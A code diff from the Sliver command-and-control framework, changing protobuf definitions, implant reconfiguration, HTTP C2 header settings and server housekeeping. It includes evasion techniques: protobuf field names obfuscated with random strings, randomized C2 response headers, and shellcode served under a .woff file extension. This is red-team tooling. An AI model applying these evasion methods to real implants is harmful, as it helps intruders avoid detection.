0x53, 0x74, 0x64, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65,
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69,
0x76, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
0x73, 0x74, 0x22, 0xd3, 0x01, 0x0a, 0x15, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x50, 0x72,
0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04,
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69,
0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x03, 0x20,
0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x2a, 0x0a, 0x10,
0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x42, 0x79, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74,
0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x42,
0x79, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x6d, 0x6f,
0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x6d, 0x6f, 0x76,
0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x55, 0x73, 0x65, 0x64, 0x46, 0x6f, 0x72, 0x41, 0x63, 0x63,
0x65, 0x73, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x55, 0x73, 0x65, 0x64, 0x46,
0x6f, 0x72, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xc5, 0x01, 0x0a, 0x08, 0x47, 0x65, 0x74,
0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x76, 0x49, 0x6e, 0x66,
0x6f, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c,
0x65, 0x67, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x69, 0x76, 0x49, 0x6e,
0x66, 0x6f, 0x12, 0x2a, 0x0a, 0x10, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x49, 0x6e, 0x74,
0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x50, 0x72,
0x6f, 0x63, 0x65, 0x73, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x12, 0x20,
0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20,
0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4e, 0x61, 0x6d, 0x65,
0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01,
0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
0x22, 0x8f, 0x01, 0x0a, 0x14, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74,
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a,
0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74,
0x61, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f,
0x53, 0x12, 0x12, 0x0a, 0x04, 0x49, 0x6e, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x04, 0x49, 0x6e, 0x69, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65,
0x73, 0x74, 0x22, 0x43, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52,
0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x10, 0x43, 0x61, 0x6c, 0x6c,
0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04,
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x18,
0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f,
0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c,
0x52, 0x04, 0x41, 0x72, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74,
0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x2b,
0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65,
0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x79, 0x0a, 0x0d, 0x43,
0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06,
0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x4f, 0x75,
0x74, 0x70, 0x75, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74,
0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65,
0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65,
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x40, 0x0a, 0x11, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52,
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52,
0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x56, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74,
0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x61,
0x6d, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73,
0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01,
0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65,
0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
0x2a, 0x2c, 0x0a, 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a,
0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x55, 0x44, 0x50, 0x10, 0x01, 0x12,
0x0d, 0x0a, 0x09, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x10, 0x02, 0x2a, 0x33,
0x0a, 0x0f, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x54, 0x79, 0x70,
0x65, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x4e, 0x44, 0x5f, 0x46, 0x41, 0x49, 0x4c, 0x55, 0x52,
0x45, 0x10, 0x00, 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x49, 0x53, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43,
0x54, 0x10, 0x01, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f,
0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
@@ -10098,8 +10119,8 @@ var file_sliverpb_sliver_proto_goTypes = []interface{}{
(*WGSocksServer)(nil), // 122: sliverpb.WGSocksServer
(*WGSocksServers)(nil), // 123: sliverpb.WGSocksServers
(*WGTCPForwarders)(nil), // 124: sliverpb.WGTCPForwarders
(*ReconnectIntervalReq)(nil), // 125: sliverpb.ReconnectIntervalReq
(*ReconnectInterval)(nil), // 126: sliverpb.ReconnectInterval
(*ReconfigureReq)(nil), // 125: sliverpb.ReconfigureReq
(*Reconfigure)(nil), // 126: sliverpb.Reconfigure
(*PollIntervalReq)(nil), // 127: sliverpb.PollIntervalReq
(*PollInterval)(nil), // 128: sliverpb.PollInterval
(*SSHCommandReq)(nil), // 129: sliverpb.SSHCommandReq
@@ -10246,8 +10267,8 @@ var file_sliverpb_sliver_proto_depIdxs = []int32{
141, // 123: sliverpb.WGSocksServers.Response:type_name -> commonpb.Response
121, // 124: sliverpb.WGTCPForwarders.Forwarders:type_name -> sliverpb.WGTCPForwarder
141, // 125: sliverpb.WGTCPForwarders.Response:type_name -> commonpb.Response
142, // 126: sliverpb.ReconnectIntervalReq.Request:type_name -> commonpb.Request
141, // 127: sliverpb.ReconnectInterval.Response:type_name -> commonpb.Response
142, // 126: sliverpb.ReconfigureReq.Request:type_name -> commonpb.Request
141, // 127: sliverpb.Reconfigure.Response:type_name -> commonpb.Response
142, // 128: sliverpb.PollIntervalReq.Request:type_name -> commonpb.Request
141, // 129: sliverpb.PollInterval.Response:type_name -> commonpb.Response
142, // 130: sliverpb.SSHCommandReq.Request:type_name -> commonpb.Request
@@ -11751,7 +11772,7 @@ func file_sliverpb_sliver_proto_init() {
}
}
file_sliverpb_sliver_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ReconnectIntervalReq); i {
switch v := v.(*ReconfigureReq); i {
case 0:
return &v.state
case 1:
@@ -11763,7 +11784,7 @@ func file_sliverpb_sliver_proto_init() {
}
}
file_sliverpb_sliver_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ReconnectInterval); i {
switch v := v.(*Reconfigure); i {
case 0:
return &v.state
case 1:
+10 -7
View File
@@ -757,7 +757,7 @@ message PivotListener {
message PivotHello {
bytes PublicKey = 1;
int64 PeerID = 2;
int64 PeerID = 2 [jstype = JS_STRING];
string PublicKeySignature = 3;
bytes SessionKey = 4;
}
@@ -768,7 +768,7 @@ message PivotServerKeyExchange {
}
message PivotPeer {
int64 PeerID = 1;
int64 PeerID = 1 [jstype = JS_STRING];
string Name = 2;
}
@@ -785,7 +785,7 @@ message PivotPing {
}
message NetConnPivot {
int64 PeerID = 1;
int64 PeerID = 1 [jstype = JS_STRING];
string RemoteAddress = 2;
}
@@ -795,7 +795,7 @@ enum PeerFailureType {
}
message PivotPeerFailure {
int64 PeerID = 1;
int64 PeerID = 1 [jstype = JS_STRING];
PeerFailureType Type = 2;
string Err = 3;
}
@@ -872,14 +872,17 @@ message WGTCPForwarders {
commonpb.Response Response = 9;
}
// ReconnectIntervalReq - Request the implant to update it's reconnect interval
message ReconnectIntervalReq {
// ReconfigureReq - Request the implant to reconfigure itself
message ReconfigureReq {
int64 ReconnectInterval = 1;
int64 BeaconInterval = 2;
int64 BeaconJitter = 3;
commonpb.Request Request = 9;
}
message ReconnectInterval {
message Reconfigure {
commonpb.Response Response = 9;
}
+12 -5
View File
@@ -275,14 +275,21 @@ func SetupGoPath(goPathSrc string) error {
func stripSliverpb(src []byte) []byte {
out := src
re := regexp.MustCompile(`protobuf:"[a-z]+,\d+,[a-z]+,name=(?P<FieldName1>[a-zA-Z0-9]+),proto3" json:"(?P<FiledName2>[a-zA-Z0-9]+),[a-z]+"`)
re := regexp.MustCompile(`protobuf:"[a-z]+,\d+,[a-z]+,name=(?P<FieldName1>[a-zA-Z0-9]+),proto3(,enum=(?P<EnumName>[a-zA-Z\.]+))?" json:"(?P<FiledName2>[a-zA-Z0-9]+),[a-z]+"`)
found := re.FindAllSubmatch(src, -1)
for _, x := range found {
line := x[0] // line that matched
item := x[1] // first named capturing group (FieldName1)
line := x[0] // line that matched
typeName := x[1] // first named capturing group (FieldName1)
enumName := x[3]
if string(enumName) != "" {
newEnumName := pseudoRandStringRunes(len(enumName))
newEnumLine := bytes.ReplaceAll(line, enumName, []byte(newEnumName))
out = bytes.ReplaceAll(out, line, []byte(newEnumLine))
line = newEnumLine
}
// we don't care about FieldName2 because its value is the same as FieldName1
newItem := pseudoRandStringRunes(len(item))
newLine := bytes.ReplaceAll(line, item, []byte(newItem))
newItem := pseudoRandStringRunes(len(typeName))
newLine := bytes.ReplaceAll(line, typeName, []byte(newItem))
out = bytes.ReplaceAll(out, line, []byte(newLine))
}
return out
+7 -1
View File
@@ -404,7 +404,13 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
if s.c2Config.ServerConfig.RandomVersionHeaders {
resp.Header().Set("Server", s.getServerHeader())
}
for _, header := range s.c2Config.ServerConfig.ExtraHeaders {
for _, header := range s.c2Config.ServerConfig.Headers {
if 0 < header.Probability && header.Probability < 100 {
roll := insecureRand.Intn(99) + 1
if header.Probability < roll {
continue
}
}
resp.Header().Set(header.Name, header.Value)
}
next.ServeHTTP(resp, req)
+1 -1
View File
@@ -44,7 +44,7 @@ const (
var (
// ErrInvalidDialect - An invalid dialect was specified
ErrInvalidDialect = errors.New("Invalid SQL Dialect")
ErrInvalidDialect = errors.New("invalid SQL Dialect")
databaseConfigLog = log.NamedLogger("config", "database")
)
+57 -18
View File
@@ -35,7 +35,7 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 89
chromeBaseVer = 92
)
// HTTPC2Config - Parent config file struct for implant/server
@@ -103,16 +103,17 @@ func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
return config
}
type HTTPHeader struct {
Name string `json:"name"`
Value string `json:"value"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
ExtraHeaders []HTTPHeader `json:"headers"`
Cookies []string `json:"cookies"`
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
}
// HTTPC2ImplantConfig - Implant configuration options
@@ -125,9 +126,10 @@ type HTTPC2ServerConfig struct {
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
URLParameters []string `json:"url_parameters"`
Headers []string `json:"headers"`
UserAgent string `json:"user_agent"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
@@ -215,8 +217,8 @@ var (
Cookies: []string{
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
},
ExtraHeaders: []HTTPHeader{
{"Cache-Control", "no-store, no-cache, must-revalidate"},
Headers: []NameValueProbability{
{Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
},
},
ImplantConfig: &HTTPC2ImplantConfig{
@@ -288,7 +290,7 @@ func GetHTTPC2Config() *HTTPC2Config {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return &defaultHTTPC2Config
}
err = CheckHTTPC2Config(config)
err = checkHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return &defaultHTTPC2Config
@@ -296,6 +298,35 @@ func GetHTTPC2Config() *HTTPC2Config {
return config
}
// CheckHTTPC2ConfigErrors - Get the current HTTP C2 config
func CheckHTTPC2ConfigErrors() error {
configPath := GetHTTPC2ConfigPath()
if _, err := os.Stat(configPath); os.IsNotExist(err) {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return err
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return err
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return err
}
err = checkHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return err
}
return nil
}
func generateDefaultConfig(saveTo string) error {
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
if err != nil {
@@ -317,12 +348,13 @@ var (
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
fileNameExp = regexp.MustCompile(`[^a-zA-Z0-9\\._-]+`)
)
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func CheckHTTPC2Config(config *HTTPC2Config) error {
// checkHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func checkHTTPC2Config(config *HTTPC2Config) error {
err := checkServerConfig(config.ServerConfig)
if err != nil {
return err
@@ -448,5 +480,12 @@ func checkImplantConfig(config *HTTPC2ImplantConfig) error {
allExtensions[ext] = true
}
// Query Parameter Names
for _, queryParam := range config.URLParameters {
if len(queryParam.Name) < 3 {
return ErrQueryParamNameLen
}
}
return nil
}
+3 -3
View File
@@ -51,7 +51,7 @@ func TestDefaultConfig(t *testing.T) {
if err != nil {
t.Fatal(err)
}
err = CheckHTTPC2Config(config)
err = checkHTTPC2Config(config)
if err != nil {
t.Fatal(err)
}
@@ -64,7 +64,7 @@ func TestPollConfig(t *testing.T) {
origPollFileExt := config.ImplantConfig.PollFileExt
for _, ext := range []string{"", ".", "..."} {
config.ImplantConfig.PollFileExt = ext
err := CheckHTTPC2Config(&config)
err := checkHTTPC2Config(&config)
if err != ErrMissingPollFileExt {
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
}
@@ -82,7 +82,7 @@ func TestPollConfig(t *testing.T) {
origPollFiles := config.ImplantConfig.PollFiles
for _, empty := range emptyPollFiles {
config.ImplantConfig.PollFiles = empty
err := CheckHTTPC2Config(&config)
err := checkHTTPC2Config(&config)
if err != ErrTooFewPollFiles {
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
}
+5 -1
View File
@@ -31,6 +31,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
clienttransport "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/transport"
"google.golang.org/grpc"
)
@@ -49,11 +50,14 @@ func Start() {
}
conn, err := grpc.DialContext(context.Background(), "bufnet", options...)
if err != nil {
fmt.Printf(Warn+"Failed to dial bufnet: %s", err)
fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err)
return
}
defer conn.Close()
localRPC := rpcpb.NewSliverRPCClient(conn)
if err := configs.CheckHTTPC2ConfigErrors(); err != nil {
fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err)
}
clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true)
}
+4
View File
@@ -197,6 +197,10 @@ func insertImmediateChildren(entry *PivotGraphEntry, depth int) {
return true
}
session := Sessions.FromImplantConnection(pivot.ImplantConn)
if session == nil {
coreLog.Warnf("[graph] session not found for pivot: %v", pivot)
return true
}
coreLog.Debugf("[graph] entry: %v, pivot: %v", entry.Name, pivot)
if pivot.Peers[1].PeerID == entry.PeerID {
child := &PivotGraphEntry{
+8
View File
@@ -80,6 +80,7 @@ func (s *Session) LastCheckin() time.Time {
// IsDead - See if last check-in is within expected variance
func (s *Session) IsDead() bool {
sessionsLog.Debugf("Checking health of %s", s.ID)
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
timePassed := time.Since(s.LastCheckin())
@@ -95,6 +96,12 @@ func (s *Session) IsDead() bool {
return false
}
}
if s.Connection.Transport == "pivot" {
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
return false
}
}
return true
}
@@ -202,6 +209,7 @@ func (s *sessions) Remove(sessionID string) {
for _, child := range children {
childSession, ok := s.sessions.LoadAndDelete(child.SessionID)
if ok {
PivotSessions.Delete(childSession.(*Session).Connection.ID)
EventBroker.Publish(Event{
EventType: consts.SessionClosedEvent,
Session: childSession.(*Session),
+11
View File
@@ -293,6 +293,17 @@ func ListBeacons() ([]*models.Beacon, error) {
return beacons, err
}
// RenameBeacon - Rename a beacon
func RenameBeacon(beaconID string, name string) error {
err := Session().Where(&models.Beacon{
ID: uuid.FromStringOrNil(beaconID),
}).Updates(models.Beacon{Name: name}).Error
if err != nil {
return err
}
return nil
}
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
tasks := []*models.BeaconTask{}
+2
View File
@@ -124,6 +124,8 @@ type ImplantConfig struct {
IsService bool
IsShellcode bool
RunAtLoad bool
FileName string
}
+5 -3
View File
@@ -64,12 +64,12 @@ var (
},
"darwin": {
"windows": {
"386": "/usr/local/bin/i686-w64-mingw32-gcc",
"amd64": "/usr/local/bin/x86_64-w64-mingw32-gcc",
"386": "/opt/homebrew/bin/i686-w64-mingw32-gcc",
"amd64": "/opt/homebrew/bin/x86_64-w64-mingw32-gcc",
},
"linux": {
// brew install FiloSottile/musl-cross/musl-cross
"amd64": "/usr/local/bin/x86_64-linux-musl-gcc",
"amd64": "/opt/homebrew/bin/x86_64-linux-musl-gcc",
},
},
}
@@ -170,6 +170,8 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
cfg.IsService = pbConfig.IsService
cfg.IsShellcode = pbConfig.IsShellcode
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.CanaryDomains = []models.CanaryDomain{}
for _, pbCanary := range pbConfig.CanaryDomains {
cfg.CanaryDomains = append(cfg.CanaryDomains, models.CanaryDomain{
+1 -3
View File
@@ -75,9 +75,7 @@ func (g *CanaryGenerator) GenerateCanary() string {
index := insecureRand.Intn(len(g.ParentDomains))
parentDomain := g.ParentDomains[index]
if strings.HasPrefix(parentDomain, ".") {
parentDomain = parentDomain[1:]
}
parentDomain = strings.TrimPrefix(parentDomain, ".")
if !strings.HasSuffix(parentDomain, ".") {
parentDomain += "." // Ensure we have the FQDN
}
+20
View File
@@ -23,10 +23,12 @@ package handlers
*/
import (
"encoding/json"
"errors"
"time"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
sliverpb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
@@ -94,9 +96,27 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
Data: eventData,
})
go auditLogBeacon(beacon, beaconReg.Register)
return nil
}
type auditLogNewBeaconMsg struct {
Beacon *clientpb.Beacon
Register *sliverpb.Register
}
func auditLogBeacon(beacon *models.Beacon, register *sliverpb.Register) {
msg, err := json.Marshal(auditLogNewBeaconMsg{
Beacon: beacon.ToProtobuf(),
Register: register,
})
if err != nil {
beaconHandlerLog.Errorf("Failed to log new beacon to audit log: %s", err)
} else {
log.AuditLogger.Warn(string(msg))
}
}
func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
beaconTasks := &sliverpb.BeaconTasks{}
